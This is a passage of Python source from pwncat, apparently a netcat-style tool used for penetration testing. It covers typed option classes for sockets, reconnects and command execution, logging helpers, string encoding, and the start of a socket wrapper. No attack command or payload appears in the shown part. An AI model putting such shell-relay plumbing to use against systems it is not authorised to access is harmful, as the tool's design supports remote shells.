    # The following is only to create virtual types for mypy in order to find
    # issues via static type linting.
    SockConn = TypedDict(
        "SockConn",
        {
            "sock": socket.socket,
            "conn": socket.socket,
            "local_host": Optional[str],
            "local_addr": str,
            "local_port": int,
            "remote_host": str,
            "remote_addr": str,
            "remote_port": int,
        },
        total=False,
    )
    SockActive = TypedDict(
        "SockActive",
        {"af": int, "conn": socket.socket, "remote_addr": str, "remote_port": int},
        total=False,
    )


# -------------------------------------------------------------------------------------------------
# GLOBALS
# -------------------------------------------------------------------------------------------------

APPNAME = "pwncat"
APPREPO = "https://github.com/cytopia/pwncat"
VERSION = "0.1.2"

# Default timeout for timeout-based sys.stdin and socket.recv
TIMEOUT_READ_STDIN = 0.05
TIMEOUT_RECV_SOCKET = 0.05
TIMEOUT_RECV_SOCKET_RETRY = 1

# https://docs.python.org/3/library/subprocess.html#popen-constructor
# * 0 means unbuffered (read and write are one system call and can return short)
# * 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
# * any other positive value means use a buffer of approximately that size
# * negative bufsize (the default) means the system default of io.DEFAULT_BUFFER_SIZE will be used.
# TODO: should I use 'bufsize=1'?
# TODO: Probably set it to 0: https://stackoverflow.com/a/45664969
POPEN_BUFSIZE = -1

# https://docs.python.org/3/library/socket.html#socket.socket.recv
RECV_BUFSIZE = 8192

# https://docs.python.org/3/library/socket.html#socket.socket.listen
LISTEN_BACKLOG = 0


# #################################################################################################
# #################################################################################################
# ###
# ###   1 / 11   M E T A   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (1/2) Abstract
# -------------------------------------------------------------------------------------------------
# Abstract class with Python 2 + Python 3 support: https://stackoverflow.com/questions/35673474
ABC = ABCMeta("ABC", (object,), {"__slots__": ()})


# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (2/2) Singleton
# -------------------------------------------------------------------------------------------------
class _Singleton(type):
    """A thread-safe metaclass that creates a Singleton base class when called."""

    # https://refactoring.guru/design-patterns/singleton/python/example#example-1
    _instances = {}  # type: Dict[_Singleton, _Singleton]

    _lock = threading.Lock()

    def __call__(cls, *args, **kwargs):
        # type: (_Singleton, Any, Any) -> _Singleton

        # Now, imagine that the program has just been launched. Since there's no
        # Singleton instance yet, multiple threads can simultaneously pass the
        # previous conditional and reach this point almost at the same time. The
        # first of them will acquire lock and will proceed further, while the
        # rest will wait here.
        with cls._lock:
            # The first thread to acquire the lock, reaches this conditional,
            # goes inside and creates the Singleton instance. Once it leaves the
            # lock block, a thread that might have been waiting for the lock
            # release may then enter this section. But since the Singleton field
            # is already initialized, the thread won't create a new object.
            if cls not in cls._instances:
                cls._instances[cls] = super(_Singleton, cls).__call__(*args, **kwargs)
        return cls._instances[cls]


# #################################################################################################
# #################################################################################################
# ###
# ###   2 / 11   D A T A   S T R U C T U R E   T Y P E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (1/12) DsCallableProducer
# -------------------------------------------------------------------------------------------------
class DsCallableProducer(object):
    """A type-safe data structure for Callable functions."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def function(self):
        # type: () -> Callable[..., Iterator[bytes]]
        """`IO.producer`: Callable funtcion function."""
        return self.__function

    @property
    def args(self):
        # type: () -> Any
        """`*args`: optional *args for the callable function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Any
        """`**kargs`: optional *kwargs for the callable function."""
        return self.__kwargs

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(self, function, *args, **kwargs):
        # type: (Callable[..., Iterator[bytes]], Any, Any) -> None
        self.__function = function
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (2/12) DsRunnerAction
# -------------------------------------------------------------------------------------------------
class DsRunnerAction(object):
    """A type-safe data structure for Action functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def producer(self):
        # type: () -> DsCallableProducer
        """`DsCallableProducer`: Data producer function struct with args and kwargs."""
        return self.__producer

    @property
    def consumer(self):
        # type: () -> Callable[[bytes], None]
        """`IO.consumer`: Data consumer function."""
        return self.__consumer

    @property
    def interrupts(self):
        # type: () -> List[Callable[[], None]]
        """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer."""
        return self.__interrupts

    @property
    def transformers(self):
        # type: () -> List[Transform]
        """`[Transform.transformer]`: List of transformer functions applied before consumer."""
        return self.__transformers

    @property
    def daemon_thread(self):
        # type: () -> bool
        """`bool`: Determines if the action will be started in a daemon thread."""
        return self.__daemon_thread

    @property
    def code(self):
        # type: () -> Optional[Union[str, bytes, CodeType]]
        """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function."""
        return self.__code

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        producer,  # type: DsCallableProducer
        consumer,  # type: Callable[[bytes], None]
        interrupts,  # type: List[Callable[[], None]]
        transformers,  # type: List[Transform]
        daemon_thread,  # type: bool
        code,  # type: Optional[Union[str, bytes, CodeType]]
    ):
        # type: (...) -> None
        self.__producer = producer
        self.__consumer = consumer
        self.__interrupts = interrupts
        self.__transformers = transformers
        self.__daemon_thread = daemon_thread
        self.__code = code


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (3/12) DsRunnerTimer
# -------------------------------------------------------------------------------------------------
class DsRunnerTimer(object):
    """A type-safe data structure for Timer functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def intvl(self):
        # type: () -> int
        """`int`: interval at which to run the action function.."""
        return self.__intvl

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        intvl,  # type: int
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(intvl) is int, type(intvl)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__intvl = intvl
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (4/12) DsRunnerRepeater
# -------------------------------------------------------------------------------------------------
class DsRunnerRepeater(object):
    """A type-safe data structure for repeated functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def repeat(self):
        # type: () -> int
        """`int`: how many times to repeat the action function."""
        return self.__repeat

    @property
    def pause(self):
        # type: () -> float
        """`int`: pause in seconds between repeated action calls."""
        return self.__pause

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        repeat,  # type: int
        pause,  # type: float
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(repeat) is int, type(repeat)
        assert type(pause) is float, type(pause)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__repeat = repeat
        self.__pause = pause
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (5/12) DsSock
# -------------------------------------------------------------------------------------------------
class DsSock(object):
    """A type-safe data structure for DsSock options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def bufsize(self):
        # type: () -> int
        """`int`: Receive buffer size."""
        return self.__bufsize

    @property
    def backlog(self):
        # type: () -> int
        """`int`: Listen backlog."""
        return self.__backlog

    @property
    def recv_timeout(self):
        # type: () -> Optional[float]
        """`float` or `None`: Receive timeout to change blocking socket to time-out based."""
        return self.__recv_timeout

    @property
    def nodns(self):
        # type: () -> bool
        """`bool`: Determines if we resolve hostnames or not."""
        return self.__nodns

    @property
    def ipv4(self):
        # type: () -> bool
        """`bool`: Only use IPv4 instead of both, IPv4 and IPv6."""
        return self.__ipv4

    @property
    def ipv6(self):
        # type: () -> bool
        """`bool`: Only use IPv6 instead of both, IPv4 and IPv6."""
        return self.__ipv6

    @property
    def src_addr(self):
        # type: () -> Optional[str]
        """`bool`: Custom source address for connect mode."""
        return self.__src_addr

    @property
    def src_port(self):
        # type: () -> Optional[int]
        """`bool`: Custom source port for connect mode."""
        return self.__src_port

    @property
    def udp(self):
        # type: () -> bool
        """`bool`: Determines if we use TCP or UDP."""
        return self.__udp

    @property
    def udp_sconnect(self):
        # type: () -> bool
        """`bool`: Determines if we use stateful connect for UDP."""
        return self.__udp_sconnect

    @property
    def udp_sconnect_word(self):
        # type: () -> str
        """`str`: What string to send when emulating a stateful UDP connect."""
        return self.__udp_sconnect_word

    @property
    def ip_tos(self):
        # type: () -> Optional[str]
        """`str`: Determines what IP_TOS (Type of Service) value to set for the socket."""
        return self.__ip_tos

    @property
    def info(self):
        # type: () -> Optional[str]
        """`str`: Determines what info to display about the socket connection."""
        return self.__info

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[int]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(bufsize) is int, type(bufsize)
        assert type(backlog) is int, type(backlog)
        assert type(recv_timeout) is float, type(recv_timeout)
        assert type(nodns) is bool, type(nodns)
        assert type(ipv4) is bool, type(ipv4)
        assert type(ipv6) is bool, type(ipv6)
        assert type(src_addr) is str or src_addr is None, type(src_addr)
        assert type(src_port) is int or src_port is None, type(src_port)
        assert type(udp) is bool, type(udp)
        self.__bufsize = bufsize
        self.__backlog = backlog
        self.__recv_timeout = recv_timeout
        self.__nodns = nodns
        self.__ipv4 = ipv4
        self.__ipv6 = ipv6
        self.__src_addr = src_addr
        self.__src_port = src_port
        self.__udp = udp
        self.__udp_sconnect = udp_sconnect
        self.__udp_sconnect_word = udp_sconnect_word
        self.__ip_tos = ip_tos
        self.__info = info


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (6/12) DsIONetworkSock
# -------------------------------------------------------------------------------------------------
class DsIONetworkSock(DsSock):
    """A type-safe data structure for IONetwork socket options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def recv_timeout_retry(self):
        # type: () -> int
        """`int`: How many times to retry receiving if stop signal was raised."""
        return self.__recv_timeout_retry

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        recv_timeout_retry,  # type: int
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[bool]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
        self.__recv_timeout_retry = recv_timeout_retry
        super(DsIONetworkSock, self).__init__(
            bufsize,
            backlog,
            recv_timeout,
            nodns,
            ipv4,
            ipv6,
            src_addr,
            src_port,
            udp,
            udp_sconnect,
            udp_sconnect_word,
            ip_tos,
            info,
        )


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (7/12) DsIONetworkCli
# -------------------------------------------------------------------------------------------------
class DsIONetworkCli(object):
    """A type-safe data structure for IONetwork client options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def reconn(self):
        # type: () -> int
        """`int`: If connection fails, retry endless (if negative) or x many times."""
        return self.__reconn

    @reconn.setter
    def reconn(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__reconn = value

    @property
    def reconn_wait(self):
        # type: () -> float
        """`float`: Wait time between re-connections in seconds."""
        return self.__reconn_wait

    @reconn_wait.setter
    def reconn_wait(self, value):
        # type: (float) -> None
        assert type(value) is float, type(value)
        self.__reconn_wait = value

    @property
    def reconn_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating re-connection ports."""
        return self.__reconn_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, reconn, reconn_wait, reconn_robin):
        # type: (int, float, List[int]) -> None
        assert type(reconn) is int, type(reconn)
        assert type(reconn_wait) is float, type(reconn_wait)
        assert type(reconn_robin) is list, type(reconn_robin)
        for i in reconn_robin:
            assert type(i) is int, type(i)
        self.__reconn = reconn
        self.__reconn_wait = reconn_wait
        self.__reconn_robin = reconn_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (8/12) DsIONetworkSrv
# -------------------------------------------------------------------------------------------------
class DsIONetworkSrv(object):
    """A type-safe data structure for IONetwork server options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def keep_open(self):
        # type: () -> bool
        """`bool`: Accept new clients if one has disconnected."""
        return bool(self.__keep_open)

    @keep_open.setter
    def keep_open(self, value):
        # type: (bool) -> None
        """Change keep_open value."""
        assert type(value) is bool, type(value)
        self.__keep_open = value

    @property
    def rebind(self):
        # type: () -> int
        """`int`: If binding fails, retry endless (if negative) or x many times."""
        return self.__rebind

    @rebind.setter
    def rebind(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__rebind = value

    @property
    def rebind_wait(self):
        # type: () -> float
        """`float`: Wait time between rebinds in seconds."""
        return self.__rebind_wait

    @property
    def rebind_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating rebind ports."""
        return self.__rebind_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, rebind, rebind_wait, rebind_robin):
        # type: (bool, int, float, List[int]) -> None
        assert type(keep_open) is bool, type(keep_open)
        assert type(rebind) is int, type(rebind)
        assert type(rebind_wait) is float, type(rebind_wait)
        assert type(rebind_robin) is list, type(rebind_robin)
        for i in rebind_robin:
            assert type(i) is int, type(i)
        self.keep_open = keep_open
        self.__rebind = rebind
        self.__rebind_wait = rebind_wait
        self.__rebind_robin = rebind_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (9/12) DsTransformLinefeed
# -------------------------------------------------------------------------------------------------
class DsTransformLinefeed(object):
    """A type-safe data structure for DsTransformLinefeed options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def crlf(self):
        # type: () -> Optional[str]
        """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`."""
        return self.__crlf

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, crlf):
        # type: (Optional[str]) -> None
        super(DsTransformLinefeed, self).__init__()
        self.__crlf = crlf


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (10/12) DsTransformSafeword
# -------------------------------------------------------------------------------------------------
class DsTransformSafeword(object):
    """A type-safe data structure for DsTransformSafeword options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
        return self.__ssig

    @property
    def safeword(self):
        # type: () -> str
        """`str`: The safeword to shutdown the instance upon receiving."""
        return self.__safeword

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, safeword):
        # type: (InterruptHandler, str) -> None
        super(DsTransformSafeword, self).__init__()
        self.__ssig = ssig
        self.__safeword = safeword


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (11/12) DsIOStdinStdout
# -------------------------------------------------------------------------------------------------
class DsIOStdinStdout(object):
    """A type-safe data structure for IOStdinStdout options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: String encoder instance."""
        return self.__enc

    @property
    def input_timeout(self):
        # type: () -> Optional[float]
        """`float`: Input timeout in seconds for non-blocking read or `None` for blocking."""
        return self.__input_timeout

    @property
    def send_on_eof(self):
        # type: () -> bool
        """`float`: Determines if we buffer STDIN until EOF before sending."""
        return self.__send_on_eof

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, input_timeout, send_on_eof):
        # type: (StringEncoder, Optional[float], bool) -> None
        super(DsIOStdinStdout, self).__init__()
        self.__enc = encoder
        self.__input_timeout = input_timeout
        self.__send_on_eof = send_on_eof


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (12/12) DsIOCommand
# -------------------------------------------------------------------------------------------------
class DsIOCommand(object):
    """A type-safe data structure for IOCommand options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: Instance of StringEncoder."""
        return self.__enc

    @property
    def executable(self):
        # type: () -> str
        """`srt`: Name or path of executable to run (e.g.: `/bin/bash`)."""
        return self.__executable

    @property
    def bufsize(self):
        # type: () -> int
        """`int`: `subprocess.Popen` bufsize.

        https://docs.python.org/3/library/subprocess.html#popen-constructor
        0 means unbuffered (read and write are one system call and can return short)
        1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
        any other positive value means use a buffer of approximately that size
        negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.
        """
        return self.__bufsize

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, enc, executable, bufsize):
        # type: (StringEncoder, str, int) -> None
        self.__enc = enc
        self.__executable = executable
        self.__bufsize = bufsize


# #################################################################################################
# #################################################################################################
# ###
# ###   3 / 11   L I B R A R Y   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger
# -------------------------------------------------------------------------------------------------
class TraceLogger(logging.getLoggerClass()):  # type: ignore
    """Extend Python's default logger class with TRACE level logging."""

    LEVEL_NUM = 9
    LEVEL_NAME = "TRACE"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, name, level=logging.NOTSET):
        # type: (str, int) -> None
        """Instantiate TraceLogger class.

        Args:
            name (str):  Instance name.
            level (int): Current log level.
        """
        super(TraceLogger, self).__init__(name, level)
        logging.addLevelName(self.LEVEL_NUM, self.LEVEL_NAME)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def trace(self, msg, *args, **kwargs):
        # type: (str, Any, Any) -> None
        """Set custom log level for TRACE.

        Args:
            msg (str): The log message.
            args (args): *args for trace level log function.
            kwargs (kwargs): kwargs for trace level log function.
        """
        if self.isEnabledFor(self.LEVEL_NUM):
            # Yes, logger takes its '*args' as 'args'.
            self._log(self.LEVEL_NUM, msg, args, **kwargs)


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter
# -------------------------------------------------------------------------------------------------
class ColoredLogFormatter(logging.Formatter):
    """Custom log formatter which adds different details and color support."""

    COLORS = {
        logging.CRITICAL: "\x1b[31;1m",  # bold red
        logging.ERROR: "\x1b[31;21m",  # red
        logging.WARNING: "\x1b[33;21m",  # yellow
        logging.INFO: "\x1b[32;21m",  # green
        logging.DEBUG: "\x1b[30;21m",  # gray
    }
    COLOR_DEF = COLORS[logging.DEBUG]
    COLOR_RST = "\x1b[0m"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, color, loglevel):
        # type: (str, int) -> None
        """Instantiate ColoredLogFormatter class.

        Args:
            color (str):  Either be `alway`, `never` or `auto`.
            loglevel (int): Current desired log level.
        """
        super(ColoredLogFormatter, self).__init__()
        self.color = color
        self.loglevel = loglevel
        self.tty = sys.stderr.isatty()

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def format(self, record):
        # type: (logging.LogRecord) -> str
        """Apply custom formatting to log message."""
        log_fmt = self.__get_format()
        log_fmt = self.__colorize(record.levelno, log_fmt)
        formatter = logging.Formatter(log_fmt)
        return formatter.format(record)

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_format(self):
        # type: () -> str
        """Return format string based on currently applied log level."""
        # In debug logging we add slightly more info to all formats
        if self.loglevel == logging.DEBUG:
            return "%(levelname)s [%(threadName)s]: %(message)s"
        # In lower than debug logging we will add even more info to all log formats
        if self.loglevel < logging.DEBUG:
            return (
                "%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
            )
        # By default, we will only add basic info
        return "%(levelname)s: %(message)s"

    def __colorize(self, level, fmt):
        # type: (int, str) -> str
        """Colorize a log message based on its level."""
        if self.color == "never":
            return fmt

        # If stderr is redirected to a file or we're running on windows, do not do colorize
        if self.color == "auto" and (not self.tty or os.name == "nt"):
            return fmt

        return self.COLORS.get(level, self.COLOR_DEF) + fmt + self.COLOR_RST


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder
# -------------------------------------------------------------------------------------------------
class StringEncoder(object):
    """Takes care about Python 2/3 string encoding/decoding.

    This allows to parse all string/byte values internally between all
    classes or functions as strings to keep full Python 2/3 compat.
    """

    CODECS = [
        "utf-8",
        "cp437",
        "latin-1",
    ]

    # --------------------------------------------------------------------------
    # Class methods
    # --------------------------------------------------------------------------
    @classmethod
    def rstrip(cls, data, search=None):
        # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str]
        """Implementation of rstring which works on bytes or strings."""
        # We have a bytes object in Python3
        if sys.version_info >= (3, 0) and type(data) is not str:
            # Strip whitespace
            if search is None:
                while True:
                    new = data
                    new = cls.rstrip(new, " ")
                    new = cls.rstrip(new, "\n")
                    new = cls.rstrip(new, "\r")
                    new = cls.rstrip(new, "\t")
                    # Loop until no more changes occur
                    if new == data:
                        return new
            else:
                bsearch = StringEncoder.encode(search)
                while data[-1:] == bsearch:
                    data = data[:-1]
                return data

        # Use native function
        if search is None:
            return data.rstrip()
        return data.rstrip(search)  # type: ignore

    @classmethod
    def encode(cls, data):
        # type: (str) -> bytes
        """Convert string into a byte type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.encode(codec)
                try:
                    return data.encode(codec)
                except UnicodeEncodeError:
                    pass
        return data  # type: ignore

    @classmethod
    def decode(cls, data):
        # type: (bytes) -> str
        """Convert bytes into a string type for Python3."""
        if sys.version_info >= (3, 0):
            for codec in cls.CODECS:
                # On the last codec, do not catch the exception and let it trigger if it fails
                if codec == cls.CODECS[-1]:
                    return data.decode(codec)
                try:
                    return data.decode(codec)
                except UnicodeDecodeError:
                    pass
        return data  # type: ignore


# #################################################################################################
# #################################################################################################
# ###
# ###   4 / 11   N E T W O R K
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [4/11 NETWORK]: (1/1) Sock
# -------------------------------------------------------------------------------------------------
class Sock(_Singleton("SingletonMeta", (object,), {})):  # type: ignore
    """Thread-safe singleton Socket wrapper to emulate a module within the same file."""

    def __init__(self):
        # type: () -> None
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Private constants
    # --------------------------------------------------------------------------
    # For Internet Protocol v4 the value consists of an integer, the least
    # significant 8 bits of which represent the value of the TOS octet in IP
    # packets sent by the socket. RFC 1349 defines the TOS values as follows:
    __IP_TOS = {
        "mincost": 0x02,
        "lowcost": 0x02,
        "reliability": 0x04,
        "throughput": 0x08,
        "lowdelay": 0x10,
    }

    # Human readable address families
    __AF_HUMAN = {
        int(socket.AF_INET): "IPv4",
        int(socket.AF_INET6): "IPv6",
    }

    # Human readable socket types
    __ST_HUMAN = {
        int(socket.SOCK_STREAM): "TCP",
        int(socket.SOCK_DGRAM): "UDP",
    }

    # https://hg.python.org/cpython/file/3.5/Modules/socketmodule.c
    __SOCK_OPTS = {
        "Sock": [
            "SO_DEBUG",
            "SO_ACCEPTCONN",
            "SO_REUSEADDR",
            "SO_EXCLUSIVEADDRUSE",
            "SO_KEEPALIVE",
            "SO_DONTROUTE",
            "SO_BROADCAST",
            "SO_USELOOPBACK",
            "SO_LINGER",
            "SO_OOBINLINE",
            "SO_REUSEPORT",
            "SO_SNDBUF",
            "SO_RCVBUF",
            "SO_SNDLOWAT",
            "SO_RCVLOWAT",
            "SO_SNDTIMEO",
            "SO_RCVTIMEO",
            "SO_ERROR",
            "SO_TYPE",
            "SO_SETFIB",
            "SO_PASSCRED",
            "SO_PEERCRED",
            "LOCAL_PEERCRED",
            "SO_BINDTODEVICE",
            "SO_PRIORITY",
            "SO_MARK",
        ],
        "IPv4": [
            "IP_OPTIONS",
            "IP_HDRINCL",
            "IP_TOS",
            "IP_TTL",
            "IP_RECVOPTS",
            "IP_RECVRETOPTS",
            "IP_RECVDSTADDR",
            "IP_RETOPTS",
            "IP_MULTICAST_IF",
            "IP_MULTICAST_TTL",
            "IP_MULTICAST_LOOP",
            "IP_ADD_MEMBERSHIP",
            "IP_DROP_MEMBERSHIP",
            "IP_DEFAULT_MULTICAST_TTL",
            "IP_DEFAULT_MULTICAST_LOOP",
            "IP_MAX_MEMBERSHIPS",
            "IP_TRANSPARENT",
        ],
        "IPv6": [
            "IPV6_JOIN_GROUP",
            "IPV6_LEAVE_GROUP",
            "IPV6_MULTICAST_HOPS",
            "IPV6_MULTICAST_IF",
            "IPV6_MULTICAST_LOOP",
            "IPV6_UNICAST_HOPS",
            "IPV6_V6ONLY",
            "IPV6_CHECKSUM",
            "IPV6_DONTFRAG",
            "IPV6_DSTOPTS",
            "IPV6_HOPLIMIT",
            "IPV6_HOPOPTS",
            "IPV6_NEXTHOP",
            "IPV6_PATHMTU",
            "IPV6_PKTINFO",
            "IPV6_RECVDSTOPTS",
            "IPV6_RECVHOPLIMIT",
            "IPV6_RECVHOPOPTS",
            "IPV6_RECVPKTINFO",
            "IPV6_RECVRTHDR",
            "IPV6_RECVTCLASS",
            "IPV6_RTHDR",
            "IPV6_RTHDRDSTOPTS",
            "IPV6_RTHDR_TYPE_0",
            "IPV6_RECVPATHMTU",
            "IPV6_TCLASS",
            "IPV6_USE_MIN_MTU",
        ],
        "TCP": [
            "TCP_NODELAY",
            "TCP_MAXSEG",
            "TCP_CORK",
            "TCP_KEEPIDLE",
            "TCP_KEEPINTVL",
            "TCP_KEEPCNT",
            "TCP_SYNCNT",
            "TCP_LINGER2",
            "TCP_DEFER_ACCEPT",
            "TCP_WINDOW_CLAMP",
            "TCP_INFO",
            "TCP_QUICKACK",
            "TCP_FASTOPEN",
        ],
    }

    # --------------------------------------------------------------------------
    # Static methods
    # --------------------------------------------------------------------------
    @staticmethod
    def is_ipv6_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv6 address."""
        # TODO: check for link-local addresses (start with: fe80)
        # https://stackoverflow.com/questions/3801701

        # [1/4] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET6, host)
                return True
            except socket.error:
                return False

        # [2/4] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv6Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [3/4] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv6 and not if it is a valid IPv6. The
        # validation will be figured out during connect()
        reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$"
        if re.match(reg, host):
            return True

        # [4/4] Nope
        return False

    @staticmethod
    def is_ipv4_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv4 address."""
        # [1/5] socket.inet_aton
        if hasattr(socket, "inet_aton"):
            try:
                socket.inet_aton(host)
                return True
            except socket.error:
                return False

        # [2/5] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET, host)
                return True
            except socket.error:
                return False

        # [3/5] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
